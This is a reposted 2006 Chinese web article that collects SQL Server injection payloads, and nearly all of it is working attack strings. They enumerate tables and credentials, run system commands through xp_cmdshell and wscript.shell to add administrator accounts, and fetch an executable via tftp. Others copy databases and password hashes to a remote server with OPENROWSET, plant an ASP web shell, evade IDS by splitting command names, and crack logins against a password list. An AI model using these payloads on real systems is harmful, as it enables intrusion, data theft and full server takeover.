SQL注射总结

【2006年01月23日 22:48:18】　【阅读：次】　【字体：大中小默认】　【背景： #换背景

】

Sql注射总结（早源于or1=1）

　　最重要的表名：

select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses

　　最重要的一些用户名（默认sql数据库中存在着的）

public
dbo
guest(一般禁止，或者没权限)
db_sercurityadmin
ab_dlladmin

　　一些默认扩展

xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程，给出一个PID

例如：

sp_addextendedproc xp_webserver, c:\temp\xp_foo.dll
exec xp_webserver
sp_dropextendedproc xp_webserver
bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp
-c -Slocalhost -Usa -Pfoobar
group by users.id having 1=1-
group by users.id, users.username, users.password, users.privs having 1=1-
; insert into users values( 666, attacker, foobar, 0xffff )-

union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=logintable-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=logintable where COLUMN_NAME NOT IN (login_id)-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=logintable where COLUMN_NAME NOT IN (login_id,login_name)-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name=Rahul--

　　构造语句：查询是否存在xp_cmdshell

union select @@version,1,1,1--
and 1=(select @@VERSION)
and sa=(select System_user)
union select ret,1,1,1 from foo--
union select min(username),1,1,1 from users where username > a-
union select min(username),1,1,1 from users where username > admin-
union select password,1,1,1 from users where username = admin--
and user_name()=dbo
and 0<>(select user_name()-
; DECLARE @shell INT EXEC SP_OAcreate wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net user swap 5245886 /add
and 1=(select count(*) FROM master.dbo.sysobjects where
xtype = X AND name = xp_cmdshell)
;EXEC master.dbo.sp_addextendedproc xp_cmdshell, xplog70.dll

1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype=x%20and%20name=xp_cmdshell)
and 1=(select IS_SRVROLEMEMBER(sysadmin)) 判断sa权限是否
and 0<>(select top 1 paths from newtable)-- 暴库大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名（从1到5都是系统的id，6以上才可以判断）

　　创建一个虚拟目录E盘：

declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e：\"
访问属性：（配合写入一个webshell）
declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表假设为 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1)

可以得到用户名依次可以得到密码。。。。。假设存在user_id username ,password 等字段

Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin

(union语句到处风靡啊，access也好用

　　暴库特殊技巧：:%5c=\ 或者把/和\ 修改%5提交

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

_blank>http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--

_blank>http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1
;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=HKEY_LOCAL_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_name=/, values=@test OUTPUT insert into paths(path) values(@test)

_blank>http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--

　　得到了web路径d:\xxxx,接下来：

_blank>http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
_blank>http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--

　　传统的存在xp_cmdshell的测试过程：

;exec master..xp_cmdshell dir
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes / active:yes /add;--
;exec master.dbo.xp_cmdshell net localgroup administrators hax /add;--
exec master..xp_servicecontrol start, schedule
exec master..xp_servicecontrol start, server
http：//www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net user swap 5258 /add
;DECLARE @shell INT EXEC SP_OAcreate wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net localgroup administrators swap/add

_blank>http://localhost/show.asp?id=1; exec master..xp_cmdshell tftp -i youip get file.exe-

declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
declare @a sysname set @a=xp+_cm+dshell exec @a dir c:\
;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)

传统查询构造：

select * FROM news where id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--

　　说明:
　　上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
　　通过查看ffff的用户资料可得第一个用表叫ad
　　然后根据表名ad得到这个表的ID

ffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--

　　象下面这样就可以得到第二个表的名字了

ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
ffff;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
ffff;update [users] set email=(select top 1 pwd from password where id=2)
where name=ffff;--

ffff;update [users] set email=(select top 1 name from password where id=2)
where name=ffff;--

exec master..xp_servicecontrol start, schedule
exec master..xp_servicecontrol start, server
sp_addextendedproc xp_webserver, c:\temp\xp_foo.dll

　　扩展存储就可以通过一般的方法调用：

exec xp_webserver

　　一旦这个扩展存储执行过，可以这样删除它:

sp_dropextendedproc xp_webserver

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+
char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-

insert into users values( 667,123,123,0xffff)-

insert into users values ( 123, admin--, password, 0xffff)-

;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //为access数据库

通常注射的一些介绍：
　　A) ID=49 这类注入的参数是数字型，SQL语句原貌大致如下：
　　select * from 表名 where 字段=49
　　注入的参数为ID=49 And [查询条件]，即是生成语句：
　　select * from 表名 where 字段=49 And [查询条件]

　　(B) Class=连续剧这类注入的参数是字符型，SQL语句原貌大致概如下：
　　select * from 表名 where 字段=连续剧
　　注入的参数为Class=连续剧 and [查询条件] and = ，即是生成语句：
　　select * from 表名 where 字段=连续剧 and [查询条件] and =

　　(C) 搜索时没过滤参数的，如keyword=关键字，SQL语句原貌大致如下：
　　select * from 表名 where 字段like %关键字%
　　注入的参数为keyword= and [查询条件] and %25=，即是生成语句：
　　select * from 表名 where字段like % and [查询条件] and %=%
　　;;and (select Top 1 name from sysobjects where xtype=U and status>0)>0
　　sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype=U and status>0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。

　　;;and (select Top 1 col_name(object_id(表名),1) from sysobjects)>0
　　从⑤拿到表名后，用object_id(表名)获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

　　post.htm内容：主要是方便输入。

　　枚举出他的数据表名：

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--

　　这是将第一个表名更新到aaa的字段处。

　　读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>刚才得到的表名）。

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--

　　然后id=1552 and exists(select * from aaa where aaa>5)

　　读出第二个表，^^^^^^一个个的读出，直到没有为止。

　　读字段是这样：

　　id=1552;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--

　　然后id=1552 and exists(select * from aaa where aaa>5)出错，得到字段名
　　id=1552;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
　　然后id=1552 and exists(select * from aaa where aaa>5)出错，得到字段名
高级技巧：

　　[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]

　　update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名查出一个加一个]) [ where 条件]
　　select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)

　　通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

　　[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
　　update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件]

　　绕过IDS的检测[使用变量]

declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
declare @a sysname set @a=xp+_cm+dshell exec @a dir c:\

　　1、开启远程数据库
　　基本语法

select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=apachy_123, select * from table1 )

　　参数: (1) OLEDB Provider name

　　2、其中连接字符串参数可以是任何和端口用来连接,比如

select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;, select * from table

　　要复制目标主机的整个数据库，首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接，刚才已经讲了),之后insert所有远程表到本地表。

　　基本语法：

insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=apachy_123, select * from table1) select * from table2

　　这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：

insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;, select * from table1) select * from table2

insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;, select * from _sysdatabases)
select * from master.dbo.sysdatabases

insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;, select * from _sysobjects)
select * from user_database.dbo.sysobjects

insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;, select * from _syscolumns)
select * from user_database.dbo.syscolumns

　　之后，便可以从本地数据库中看到目标主机的库结构，这已经易如反掌，不多讲，复制数据库：

insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;, select * from table1) select * from database..table1

insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;, select * from table2) select * from database..table2

......

3、复制哈西表（HASH）

　　这实际上是上述复制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下：

insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;, select * from _sysxlogins) select * from database.dbo.sysxlogins

　　得到hash之后，就可以进行暴力破解。这需要一点运气和大量时间。

　　遍历目录的方法：
　　先创建一个临时表：temp

5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
5;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表
5;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中

5;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
5;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;--
5;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;--
5;insert into temp(id) exec master.dbo.xp_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc

5;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- （xp_dirtree适用权限PUBLIC）
写入表：
语句1：_blank>http://www.xxxxx.com/down/list.asp?id=1　and　1=(select IS_SRVROLEMEMBER(sysadmin));--
语句2：_blank>http://www.xxxxx.com/down/list.asp?id=1　and　1=(select IS_SRVROLEMEMBER(serveradmin));--
语句3：_blank>http://www.xxxxx.com/down/list.asp?id=1　and　1=(select IS_SRVROLEMEMBER(setupadmin));--
语句4：_blank>http://www.xxxxx.com/down/list.asp?id=1　and　1=(select IS_SRVROLEMEMBER(securityadmin));--
语句5：_blank>http://www.xxxxx.com/down/list.asp?id=1　and　1=(select IS_SRVROLEMEMBER(securityadmin));--
语句6：_blank>http://www.xxxxx.com/down/list.asp?id=1　and　1=(select IS_SRVROLEMEMBER(diskadmin));--
语句7：_blank>http://www.xxxxx.com/down/list.asp?id=1　and　1=(select IS_SRVROLEMEMBER(bulkadmin));--
语句8：_blank>http://www.xxxxx.com/down/list.asp?id=1　and　1=(select IS_SRVROLEMEMBER(bulkadmin));--
语句9：_blank>http://www.xxxxx.com/down/list.asp?id=1　and　1=(select IS_MEMBER(db_owner));--
把路径写到表中去：
_blank>http://www.xxxxx.com/down/list.asp?id=1;create　table　dirs(paths varchar(100), id int)-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert 　dirs　exec　master.dbo.xp_dirtree c:\-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1　and　0<>(select　top　1　paths　from　dirs)-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1　and　0<>(select　top　1　paths　from　dirs　where　paths　not　in(@Inetpub))-
语句：_blank>http://http://www.xxxxx.com/down/list.asp?id=1;create　table　dirs1(paths　varchar(100),　id　int)--
语句：_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert　dirs　exec　master.dbo.xp_dirtree e:\web--
语句：_blank>http://http://www.xxxxx.com/down/list.asp?id=1　and　0<>(select　top　1　paths　from　dirs1)-

把数据库备份到网页目录：下载

_blank>http://http://www.xxxxx.com/down/list.asp?id=1;declare　@a　sysname;　set　@a=db_name();backup　database　@a　to　disk=e:\web\down.bak;--

and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20T%20order%20by%20id%20desc)
and%201=(select%20Top%201%20col_name(object_id(USER_LOGIN),1)%20from%20sysobjects) 参看相关表。
and 1=(select%20user_id%20from%20USER_LOGIN)
and%200=(select%20user%20from%20USER_LOGIN%20where%20user>1)

……………………………………………………
-- wscript.shell example
declare @o int
exec sp_oacreate wscript.shell, @o out
exec sp_oamethod @o, run, NULL, notepad.exe
It could be run in our sample scenario by specifying the following username (all on one line):
Username: ; declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, notepad.exe--
2) This example uses the scripting.filesystemobject object to read a known text file:
-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate scripting.filesystemobject, @o out
exec sp_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, readline, @line out
end
3) This example creates an ASP script that will run any command passed to it in the querystring:
-- scripting.filesystemobject example - create a run this .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate scripting.filesystemobject, @o out
exec sp_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscript.shell": o.run( request.querystring("cmd" ) %>
It is important to note that when running on a Windows NT4, IIS4 platform, commands issued by this ASP script will run as the system account. In IIS5, however, they will run as the low-privileged IWAM_xxx account.
4) This (somewhat spurious) example illustrates the flexibility of the technique; it uses the speech.voicetext object, causing the SQL Server to speak: Page 16
declare @o int, @ret int
exec sp_oacreate speech.voicetext, @o out
exec sp_oamethod @o, register, NULL, foo, bar
exec sp_oasetproperty @o, speed, 150
exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05
This could of course be run in our example scenario, by specifying the following username (note that the example is not only injecting a script, but simultaneously logging in to the application as admin):
Username: admin; declare @o int, @ret int exec sp_oacreate speech.voicetext, @o out exec sp_oamethod @o, register, NULL, foo, bar exec sp_oasetproperty @o, speed, 150 exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--

　　常用密码和相关语句：

password
sqlserver
sql
admin
sesame
sa
guest
Here is the script:
(sqlcrack.sql)
create table tempdb..passwords( pwd varchar(255) )
bulk insert tempdb..passwords from c:\temp\passwords.txt
select name, pwd from tempdb..passwords inner join sysxlogins
on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)
union select name, name from sysxlogins where
(pwdcompare( name, sysxlogins.password, 0 ) = 1)
union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid
where sysxlogins.password is null and
syslogins.isntgroup=0 and
syslogins.isntuser=0
drop table tempdb..passwords
——l love this game

(『印像空间』　【本文来源：『转载』】　【作者：未知】　【录入：留印】)

点击查看

已有条评论

关键字：

搜索条件：